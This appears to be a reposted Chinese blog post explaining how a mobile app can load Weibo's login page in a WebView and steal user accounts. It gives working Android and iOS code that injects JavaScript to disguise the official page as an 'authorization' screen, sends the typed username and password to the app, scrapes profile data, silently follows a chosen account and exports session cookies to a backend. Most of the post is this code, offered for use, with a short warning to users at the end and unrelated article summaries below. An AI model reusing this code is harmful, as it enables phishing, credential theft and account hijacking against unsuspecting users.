摘要:地址項目目的在和端使用組件與進行交互,串改頁面,讓用戶授權登錄后,獲取用戶關鍵信息,并完成自動關注一個賬號。登錄這是微博移動端登錄頁首先使用串改當前頁面元素,讓用戶沒法意識到這是微博官方的登錄頁。
github地址
項目目的在app(ios和android)端使用webview組件與js進行交互,串改頁面,讓用戶授權登錄后,獲取用戶關鍵信息,并完成自動關注一個賬號。
傳統爬蟲模式的局限傳統爬蟲模式,讓用戶在客戶端在輸入賬號密碼,然后傳送到后端進行登錄,爬取信息,這種方式將要面對各種人機驗證措施,加密方法復雜的情況下,還得選擇selenium,性能更無法保證。同時,對于個人賬戶,安全措施越來越嚴,使用代理ip進行操作,很容易造成異地登錄等問題,代理ip也很可能在全網被重復使用的情況下,被封殺,頻繁的代理ip切換也會帶來需要二次登錄等問題。
所以這兩年年來,發現市面上越來越多的提供sdk方式的數據提供商,經過抓包及反編譯sdk,發現其大多數使用webview載入第三方頁面的方式完成登錄,有的在登錄完成之后,獲取cookie傳送到后端完成爬取,有的直接在app內完成所需信息的收集。
這是微博移動端登錄頁
首先使用JavaScript串改當前頁面元素,讓用戶沒法意識到這是微博官方的登錄頁。
android
webView.loadUrl(LOGINPAGEURL);
iOS
[self requestUrl:self.loginPageUrl]; //請求url方法 -(void) requestUrl:(NSString*) urlString{ NSURL* url=[NSURL URLWithString:urlString]; NSURLRequest* request=[NSURLRequest requestWithURL:url]; [self.webView loadRequest:request]; }js代碼注入
首先我們注入js代碼到app的webview中
android
private void injectScriptFile(String filePath) { InputStream input; try { input = webView.getContext().getAssets().open(filePath); byte[] buffer = new byte[input.available()]; input.read(buffer); input.close(); // String-ify the script byte-array using BASE64 encoding String encoded = Base64.encodeToString(buffer, Base64.NO_WRAP); String funstr = "javascript:(function() {" + "var parent = document.getElementsByTagName("head").item(0);" + "var script = document.createElement("script");" + "script.type = "text/javascript";" + "script.innerHTML = decodeURIComponent(escape(window.atob("" + encoded + "")));" + "parent.appendChild(script)" + "})()"; execJsNoReturn(funstr); } catch (IOException e) { Log.e(TAG, "injectScriptFile: " + e); } }
iOS
//注入js文件 - (void) injectJsFile:(NSString *)filePath{ NSString *jsPath = [[NSBundle mainBundle] pathForResource:filePath ofType:@"js" inDirectory:@"assets"]; NSData *data=[NSData dataWithContentsOfFile:jsPath]; NSString *responData = [data base64EncodedStringWithOptions:0]; NSString *jsStr=[NSString stringWithFormat:@"javascript:(function() { var parent = document.getElementsByTagName("head").item(0); var script = document.createElement("script"); script.type = "text/javascript"; script.innerHTML = decodeURIComponent(escape(window.atob("%@"))); parent.appendChild(script)})()",responData]; [self.webView evaluateJavaScript:jsStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){ }]; }
我們都采用讀取js文件,然后base64編碼后,使用window.atob把其做為一個腳本注入到當前頁面(注意:window.atob處理中文編碼后會得到的編碼不正確,需要使用ecodeURIComponent escape來進行正確的校正。)
在這里已經使用了app端,調用js的方法來創建元素。
android端:
webView.evaluateJavascript(funcStr, new ValueCallback() { @Override public void onReceiveValue(String s) { } });
ios端:
[self.webView evaluateJavaScript:funcStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){ }];
這兩個方法可以獲取返回值,正因為如此,可以使用js提取頁面信息后,返回給webview,然后收集信息完成之后,匯總進行通信。
js串改頁面//串改頁面元素,讓用戶以為是授權登錄 function getLogin(){ var topEle=selectNode("http://*[@id="avatarWrapper"]"); var imgEle=selectNode("http://*[@id="avatarWrapper"]/img"); topEle.remove(imgEle); var returnEle=selectNode("http://*[@id="loginWrapper"]/a"); returnEle.className=""; returnEle.innerText=""; pEle=selectNode("http://*[@id="loginWrapper"]/p"); pEle.className=""; pEle.innerHTML=""; footerEle=selectNode("http://*[@id="loginWrapper"]/footer"); footerEle.innerHTML=""; var loginNameEle=selectNode("http://*[@id="loginName"]"); loginNameEle.placeholder="請輸入用戶名"; var buttonEle=selectNode("http://*[@id="loginAction"]"); buttonEle.innerText="請進行用戶授權"; selectNode("http://*[@id="loginWrapper"]/form/section/div[1]/i").className=""; selectNode("http://*[@id="loginWrapper"]/form/section/div[2]/i").className=""; selectNode("http://*[@id="loginAction"]").className="btn"; selectNode("http://a[@id="loginAction"]").addEventListener("click",transPortUnAndPw,false); return window.webkit; } function transPortUnAndPw(){ username=selectNode("http://*[@id="loginName"]").value; pwd=selectNode("http://*[@id="loginPassword"]").value; window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})}); }
使用js修改頁面元素,使之看起來不會讓人發覺這是weibo官方的頁面。
修改后的頁面如圖:
selectNode("http://a[@id="loginAction"]").addEventListener("click",transPortUnAndPw,false); function transPortUnAndPw(){ username=selectNode("http://*[@id="loginName"]").value; pwd=selectNode("http://*[@id="loginPassword"]").value; window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})}); }
同時串改登錄點擊按鈕,通過js調用app webview的方法,把用戶名和密碼傳遞給app webview 完成信息收集。
js調用webview的方法android端:
//?js代碼 window.weibo.getPwd(JSON.stringify({"username":username,"pwd":pwd})); //Java代碼 webView.addJavascriptInterface(new WeiboJsInterface(), "weibo"); public class WeiboJsInterface { @JavascriptInterface public void getPwd(String returnValue) { try { unpwDict = new JSONObject(returnValue); } catch (JSONException e) { e.printStackTrace(); } } }
android通過實現一個@JavaScriptInterface接口,把這個方法添加類添加到webview的瀏覽器內核之上,當調用這個方法時,會觸發android端的調用。
ios端:
//js代碼 window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})}); //oc代碼 WKUserContentController *userContentController = [[WKUserContentController alloc] init]; [userContentController addScriptMessageHandler:self name:@"getInfo"]; - (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message { self.unpwDict=[self getReturnDict:message.body]; }
ios方式,實現方式與此類似,不過由于我對oc以及ios開發不熟悉,代碼運行不符合期望,希望專業的能指正。
個人信息獲取 直接提取頁面的難點webview這個組件,無論是在android端 onPageFinished方法還是ios端的didFinishNavigation方法,都無法正確判定頁面是否加載完全。所以對于很多頁面,還是選擇走接口
請求接口本項目中,獲取用戶自己的微博,關注,和分析,都是使用接口,拿到預覽頁,直接解析數,對于關鍵的參數,需要仔細抓包獲取
仔細分析 “我”這個標簽下的請求情況,發現https://m.weibo.cn/home/me?fo...,通過這個請求,獲取核心參數,然后,獲取用戶的微博 關注 粉絲的預覽頁面。
然后通過
JSON.stringify(JSON.parse(document.getElementsByTagName("pre")[0].innerText))
獲取json字符串,并傳到app端進行解析。
解析及多次請求的邏輯
也有頁面,如個人資料,頁面較簡單,可以使用js提取
js代碼function getPersonInfo(){ var name=selectNodeText("http://*[@id="J_name"]"); var sex=selectNodeText("/*[@id="sex"]/option[@selected]"); var location=selectNodeText("http://*[@id="J_location"]"); var year=selectNodeText("http://*[@id="year"]/option[@selected]"); var month=selectNodeText("http://*[@id="month"]/option[@selected]"); var day=selectNodeText("http://*[@id="day"]/option[@selected]"); var email=selectNodeText("http://*[@id="J_email"]"); var blog=selectNodeText("http://*[@id="J_blog"]"); if(blog=="輸入博客地址"){ blog="未填寫"; } var qq=selectNodeText("http://*[@id="J_QQ"]"); if(qq=="QQ帳號"){ qq="未填寫"; } birthday=year+"-"+month+"-"+day; theDict={"name":name,"sex":sex,"localtion":location,"birthday":birthday,"email":email,"blog":blog,"qq":qq}; return JSON.stringify({"personInfomation":theDict}); }
由于webview不支持 $x?的xpath寫法,為了方便,使用原生的XPathEvaluator,?實現了特定的提取。
function selectNodes(sXPath) { var evaluator = new XPathEvaluator(); var result = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null); if (result != null) { var nodeArray = []; var nodes = result.iterateNext(); while (nodes) { nodeArray.push(nodes); nodes = result.iterateNext(); } return nodeArray; } return null; }; //選取子節點 function selectChildNode(sXPath, element) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var newNode = newResult.iterateNext(); return newNode; } } function selectChildNodeText(sXPath, element) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var newNode = newResult.iterateNext(); if (newNode != null) { return newNode.textContent.replace(/(^s*)|(s*$)/g, ""); ; } else { return ""; } } } function selectChildNodes(sXPath, element) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var nodeArray = []; var newNode = newResult.iterateNext(); while (newNode) { nodeArray.push(newNode); newNode = newResult.iterateNext(); } return nodeArray; } } function selectNodeText(sXPath) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var newNode = newResult.iterateNext(); if (newNode) { return newNode.textContent.replace(/(^s*)|(s*$)/g, ""); ; } return ""; } } function selectNode(sXPath) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var newNode = newResult.iterateNext(); if (newNode) { return newNode; } return null; } }自動關注用戶
由于個人微博頁面 onPageFinished與didFinishNavigation這兩個方法無法判定頁面是否加載完全,
為了解決這個問題,在android端,使用攔截url,判定頁面加載圖片的數量來確定,是否,加載完全
//由于頁面的正確加載onPageFinieshed和onProgressChanged都不能正確判定,所以選擇在加載多張圖片后,判定頁面加載完成。 //在這樣的情況下,自動點擊元素,完成自動關注用戶。 @Override public void onLoadResource(WebView view, String url) { if (webView.getUrl().contains(AUTOFOCUSURL) && url.contains("jpg")) { newIndex++; if (newIndex == 5) { webView.post(new Runnable() { @Override public void run() { injectJsUseXpath("autoFocus.js"); execJsNoReturn("autoFocus();"); } }); } } super.onLoadResource(view, url); }
js 自動點擊
function autoFocus(){ selectNode("http://span[@class="m-add-box"]").click(); }
在ios端,使用訪問接口的方式
除了目標用戶的id外,還有一個st字符串,通過chrome的search,定位,然后通過js提取
function getSt(){ return config["st"]; }
然后構造post,請求,完成關注
- (void) autoFocus:(NSString*) st{ //Wkwebview采用js模擬完成表單提交 NSString *jsStr=[NSString stringWithFormat:@"function post(path, params) {var method = "post"; var form = document.createElement("form"); form.setAttribute("method", method); form.setAttribute("action", path); for(var key in params) { if(params.hasOwnProperty(key)) { var hiddenField = document.createElement("input"); hiddenField.setAttribute("type", "hidden"); hiddenField.setAttribute("name", key); hiddenField.setAttribute("value", params[key]); form.appendChild(hiddenField); } } document.body.appendChild(form); form.submit(); } post("https://m.weibo.cn/api/friendships/create",{"uid":"1195242865","st":"%@"});",st]; [self execJsNoReturn:jsStr]; }
ios WkWebview沒有post請求,接口,所以構造一個表單提交,完成post請求。
完成,一個自動關注,當然,構造一個用戶id的列表,很簡單就可以實現自動關注多個用戶。
如果需要爬取的數據量大,可以選擇爬取少量關鍵信息后,把cookie傳到后端處理
android 端 cookie處理
CookieSyncManager.createInstance(context); CookieManager cookieManager = CookieManager.getInstance();
通過cookieManage對象可以獲取cookie字符串,傳送到后端,繼續爬取
ios端cookie處理
NSDictionary *cookie = [AppInfo shareAppInfo].userModel.cookies;
處理方式與android端類似。
總結對于數據工程師來說,webview有點類似于selenium,但是運行在服務端的selenium,有太多的局限性。webview的在客戶端運行,就像一個用戶就是一臺肉機。
以webview為基礎,使用app收集信息加以利用,現階段大多數人都還沒意識到,但是,市場上的產品已經越來越多,特別是那些對數據有特殊需要的各種金融機構。
對于普通用戶來說,不要輕易在一個app上登錄第三方賬戶,信息泄露,財產損失,在按下登錄或者本例中的假裝授權后,都是不可避免的。
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/11325.html
摘要:登錄認證幾乎是任何一個系統的標配,系統客戶端等,好多都需要注冊登錄授權認證。假設我們開發了一個電商平臺,并集成了微信登錄,以這個場景為例,說一下的工作原理。微信網頁授權是授權碼模式的授權模式。 登錄認證幾乎是任何一個系統的標配,web 系統、APP、PC 客戶端等,好多都需要注冊、登錄、授權認證。 場景說明 以一個電商系統,假設淘寶為例,如果我們想要下單,首先需要注冊一個賬號。擁有了賬...
摘要:微博墻就是這樣的一個工具,這不是一款普通的插件,這是一款搭建在基于的插件。這是一款基于的插件,底層語言開發,性能卓越。 在現在移動互聯網時代,微博已經成為了每個人生活中必不可少的一個社交工具。而WordPress是全世界最為流行的博客系統,把你的博客接入新浪微博,借助微博的強大用戶群,不僅能給你的網站提供巨大的流量,而且還能帶來不可估量價值。 WordPress微博墻就是這樣的一個工具...
摘要:微博系統的推模式和拉模式實現推拉結合推數據和拉數據都有什么優缺點在用戶的信息流中,推數據的實現其實更簡單。姚晨發了條微博,只需要取出姚晨粉絲的信息流,依次推給粉絲就了。簡單介紹了我對時間流的看法只是我個人的認識,不知道微博具體是如何實現的。 微博feed系統的推(push)模式和拉(pull)模式實現timeline 推拉結合 推數據和拉數據都有什么優缺點?在用戶的信息流中,推數據的實...
閱讀 3209·2021-11-12 10:36
閱讀 1258·2019-08-30 15:56
閱讀 2444·2019-08-30 11:26
閱讀 551·2019-08-29 13:00
閱讀 3609·2019-08-28 18:08
閱讀 2749·2019-08-26 17:18
閱讀 1893·2019-08-26 13:26
閱讀 2432·2019-08-26 11:39